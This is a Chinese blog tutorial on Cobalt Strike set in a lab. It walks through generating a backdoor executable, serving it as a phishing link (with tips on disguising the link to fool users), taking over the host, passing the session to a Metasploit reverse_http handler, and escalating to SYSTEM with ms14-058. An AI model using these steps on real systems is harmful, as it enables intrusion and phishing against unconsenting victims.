Cobalt Strike渗透神器详解

2024-02-08 17:10

本文主要是介绍Cobalt Strike渗透神器详解,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

Cobalt Strike

    • 前言
    • 简介
    • 功能使用
    • 下载与安装
    • 基础使用
    • CS如何成功上线
      • 所需环境
      • 添加监听
      • 生成后门木马
      • 钓鱼链接
      • 成功拿到shell
    • CS如何联动MSF
      • 所需环境
      • 前提条件
      • MSF配置监听模块
      • CS新建监听器
      • 成功交互
    • CS如何进行提权操作
      • 所需环境
      • 前提条件
      • 查看用户权限
      • 下载提权插件
      • 加载插件
      • 成功提权
    • CS小福利

前言

由于最近忙着考试复习和学习 (不排除偷懒水分😂),发现也是挺长时间没有好好更新文章了,思考了一晚上发现自律方面还有很大的进步空间啊,这边也是赶紧加班更新了一篇CS的使用呢,那就一起来学习一下叭😁;

简介

  • CS是一个常用的渗透测试工具,全称为"Cobalt Strike",它是一款针对渗透测试和红队操作而设计的工具,主要用于模拟攻击和检测网络安全漏洞,常被业界人称为CS神器;Cobalt Strike已经不再使用MSF而是作为单独的平台使用,它分为客户端与服务端,服务端是一个,客户端可以有多个,可被团队进行分布式协团操作;

功能使用

多功能性:CS提供了多种功能,包括端口扫描、漏洞扫描、远程控制、数据收集、密码破解等;
多平台支持:CS能够在多种操作系统上运行,包括Windows、Linux、Mac OS等;
多种协议支持:CS支持多种协议,包括TCP、UDP、HTTP、HTTPS、DNS等;
高度可定制化:CS的用户界面可以自定义,用户可以根据自己的需求来设置不同的选项和功能;
高度隐蔽性:CS能够伪装成各种流量,让攻击者很难被检测到;

下载与安装

  • 下载CS工具并将CS上传至kali机并进行解压;

在这里插入图片描述

  • 进入CS工具目录,简单介绍下大致的文件作用;

在这里插入图片描述

c2lint: 用于检查profile的错误异常
teamserver: 服务端程序
cobaltstrike,cobaltstrike.jar: 客户端程序(java跨平台)
logs: 目录记录与目标主机的相关信息
update,update.jar: 用于更新CS
third-party: 第三方工具
最核心的就是teamserver和cobaltstrike.jar: 分别是服务端和客户端

基础使用

  • 启动服务端;
#赋予服务器权限
chmod 777 teamserver
#启动cs服务器
./teamserver 服务端IP 密码

在这里插入图片描述

  • kali执行命令,启动客户端,记得也要先赋予权限才可执行;(注:这里有个小坑,不知道有木有中招的小伙伴,使用kali的终端执行该命令才可打开控制台,而通过SSH连接的终端连接不上)

在这里插入图片描述

  • 点击后会弹出一个服务指纹信息,点击是即可,成功连接上CS;

在这里插入图片描述
在这里插入图片描述

CS如何成功上线

所需环境

攻击机(kali)
目标靶机(win 10)

添加监听

  • 来到监听器位置Cobalt Strike —> Listeners

在这里插入图片描述

  • 点击下面的Listeners页面,接着添加Add配置信息;

在这里插入图片描述

生成后门木马

  • 选择生成攻击后门文件Attacks —> Packages —> Windows Executable

在这里插入图片描述
在这里插入图片描述

  • 将生成的木马文件保存到一个文件夹下;

在这里插入图片描述

钓鱼链接

  • 来到攻击模块Attacks —> Web drive-by —> Host file

在这里插入图片描述
在这里插入图片描述

  • 复制生成的链接;(注:小提一嘴,一般情况下直接发送链接很容易被识破,我们可以使用短链接生成器生成一个短链接,接着配合一些图片或页面,这样可以大大提高命中率,由于只是测试这里就不演示了哟,也是提供一个思路或方法

在这里插入图片描述

  • 将该恶意链接发送至目标靶机,当靶机用户访问时即会下载该木马文件;(注:需要关闭防火墙,杀毒软件等)

在这里插入图片描述

成功拿到shell

  • 假设靶机用户比较好奇,无意中点击执行了该恶意文件,返回到CS中可以看到目标已成功上线;

在这里插入图片描述

  • 拿到shell该怎么执行命令呢?别急别急,这就来了;

在这里插入图片描述

#查看IP信息
shell ipconfig
#查看用户
net user

在这里插入图片描述

  • 执行desktop命令,还可看到靶机用户桌面实时情况;

在这里插入图片描述

CS如何联动MSF

所需环境

攻击机(kali)
目标靶机(win 10)

前提条件

  • 必须确保目标靶机已成功上线,这里就不一一演示了哟;

在这里插入图片描述

MSF配置监听模块

  • kali打开msfconsole;

在这里插入图片描述

  • 设置模块,配置payload信息并执行攻击;
#使用监听模块
use exploit/multi/handler
#配置payload
set payload windows/meterpreter/reverse_http
#配置IP和端口
set lhost kali-ip
set lport 端口
#开始攻击
run/exploit

在这里插入图片描述

CS新建监听器

  • 在CS中新建一个监听器;

在这里插入图片描述

  • 配置一下基础的信息,值得注意的是IP和端口必须和msf监听的一致;

在这里插入图片描述

成功交互

  • 右击后点击Interact进入命令模式;

在这里插入图片描述

  • 接着点击Spawn添加,选择刚配置的监听payload;

在这里插入图片描述
在这里插入图片描述

  • 等待命令执行完即可;

在这里插入图片描述

  • 返回msf发现监听成功,成功进行交互;

在这里插入图片描述

CS如何进行提权操作

所需环境

攻击机(kali)
目标靶机(win 2008 R2)

前提条件

  • 还是必须确保目标靶机已成功上线哟;

在这里插入图片描述

查看用户权限

  • 打开视图命令,发现上线用户为普通用户;

在这里插入图片描述

  • 打开命令模式,执行getuid命令获取用户ID,有点慢稍等一会儿;

在这里插入图片描述

下载提权插件

  • CS里面含有自动化的提权,来到提权模块;

在这里插入图片描述

  • 默认提权的exp就只要下面这两个,肯定是不够的,所以得去加载一些提权的插件;

在这里插入图片描述

  • 下载ElevateKit提权插件;

在这里插入图片描述

  • 由于CS是在kali上,将该插件上传至kali以进行操作;

在这里插入图片描述

加载插件

  • 接下来加载插件,选择脚本管理模块;

在这里插入图片描述

  • 选择上传的插件,点击打开;

在这里插入图片描述

  • 打印出插件路径说明上传成功了;

在这里插入图片描述

  • 再次打开提权模块,发现EXP果然更多了;

在这里插入图片描述
在这里插入图片描述

成功提权

  • 选择好监听的目标和ms14-058EXP后,开始提权;(注:不同的靶机需要用到的提权exp是不一样的,这里的靶机环境为win 2008 R2)
  • 过程也是会比较慢的,等待一会后成功提权至system权限;

在这里插入图片描述

  • 进入命令模式,执行getuid命令查看当前用户成功提升至system权限;

在这里插入图片描述
还有一些其他的提权插件也还不错的,有兴趣可以下载试试;

https://github.com/DeEpinGh0st/Erebus

以上内容就是Cobalt Strike渗透神器的详细使用过程,当然还有很多其他的用法,后续也会慢慢更新喔,如有还不太理解或有其他想法的小伙伴们都可以私信我或评论区打出来哟,如有写的不好的地方也请大家多多包涵一下,我也会慢慢去改进和提高的,请各位小伙伴多多支持,走之前别忘了点个赞哟😁!

CS小福利

关注微信公众号Joker零安全回复CS另附上工具精美礼品一份哟~

免责声明由于传播、利用本博客或微信公众号所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,Joker零安全及博客作者不为此承担任何责任,一旦造成后果请自行承担!

这篇关于Cobalt Strike渗透神器详解的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/691673

相关文章

Oracle的to_date()函数详解

《Oracle的to_date()函数详解》Oracle的to_date()函数用于日期格式转换,需要注意Oracle中不区分大小写的MM和mm格式代码,应使用mi代替分钟,此外,Oracle还支持毫... 目录oracle的to_date()函数一.在使用Oracle的to_date函数来做日期转换二.日

Java实现任务管理器性能网络监控数据的方法详解

《Java实现任务管理器性能网络监控数据的方法详解》在现代操作系统中,任务管理器是一个非常重要的工具,用于监控和管理计算机的运行状态,包括CPU使用率、内存占用等,对于开发者和系统管理员来说,了解这些... 目录引言一、背景知识二、准备工作1. Maven依赖2. Gradle依赖三、代码实现四、代码详解五

Mysql 中的多表连接和连接类型详解

《Mysql中的多表连接和连接类型详解》这篇文章详细介绍了MySQL中的多表连接及其各种类型,包括内连接、左连接、右连接、全外连接、自连接和交叉连接,通过这些连接方式,可以将分散在不同表中的相关数据... 目录什么是多表连接?1. 内连接(INNER JOIN)2. 左连接(LEFT JOIN 或 LEFT

Java中switch-case结构的使用方法举例详解

《Java中switch-case结构的使用方法举例详解》:本文主要介绍Java中switch-case结构使用的相关资料,switch-case结构是Java中处理多个分支条件的一种有效方式,它... 目录前言一、switch-case结构的基本语法二、使用示例三、注意事项四、总结前言对于Java初学者

Linux内核之内核裁剪详解

《Linux内核之内核裁剪详解》Linux内核裁剪是通过移除不必要的功能和模块,调整配置参数来优化内核,以满足特定需求,裁剪的方法包括使用配置选项、模块化设计和优化配置参数,图形裁剪工具如makeme... 目录简介一、 裁剪的原因二、裁剪的方法三、图形裁剪工具四、操作说明五、make menuconfig

详解Java中的敏感信息处理

《详解Java中的敏感信息处理》平时开发中常常会遇到像用户的手机号、姓名、身份证等敏感信息需要处理,这篇文章主要为大家整理了一些常用的方法,希望对大家有所帮助... 目录前后端传输AES 对称加密RSA 非对称加密混合加密数据库加密MD5 + Salt/SHA + SaltAES 加密平时开发中遇到像用户的

Springboot使用RabbitMQ实现关闭超时订单(示例详解)

《Springboot使用RabbitMQ实现关闭超时订单(示例详解)》介绍了如何在SpringBoot项目中使用RabbitMQ实现订单的延时处理和超时关闭,通过配置RabbitMQ的交换机、队列和... 目录1.maven中引入rabbitmq的依赖:2.application.yml中进行rabbit

C语言线程池的常见实现方式详解

《C语言线程池的常见实现方式详解》本文介绍了如何使用C语言实现一个基本的线程池,线程池的实现包括工作线程、任务队列、任务调度、线程池的初始化、任务添加、销毁等步骤,感兴趣的朋友跟随小编一起看看吧... 目录1. 线程池的基本结构2. 线程池的实现步骤3. 线程池的核心数据结构4. 线程池的详细实现4.1 初

Python绘制土地利用和土地覆盖类型图示例详解

《Python绘制土地利用和土地覆盖类型图示例详解》本文介绍了如何使用Python绘制土地利用和土地覆盖类型图,并提供了详细的代码示例,通过安装所需的库,准备地理数据,使用geopandas和matp... 目录一、所需库的安装二、数据准备三、绘制土地利用和土地覆盖类型图四、代码解释五、其他可视化形式1.

SpringBoot使用Apache POI库读取Excel文件的操作详解

《SpringBoot使用ApachePOI库读取Excel文件的操作详解》在日常开发中,我们经常需要处理Excel文件中的数据,无论是从数据库导入数据、处理数据报表,还是批量生成数据,都可能会遇到... 目录项目背景依赖导入读取Excel模板的实现代码实现代码解析ExcelDemoInfoDTO 数据传输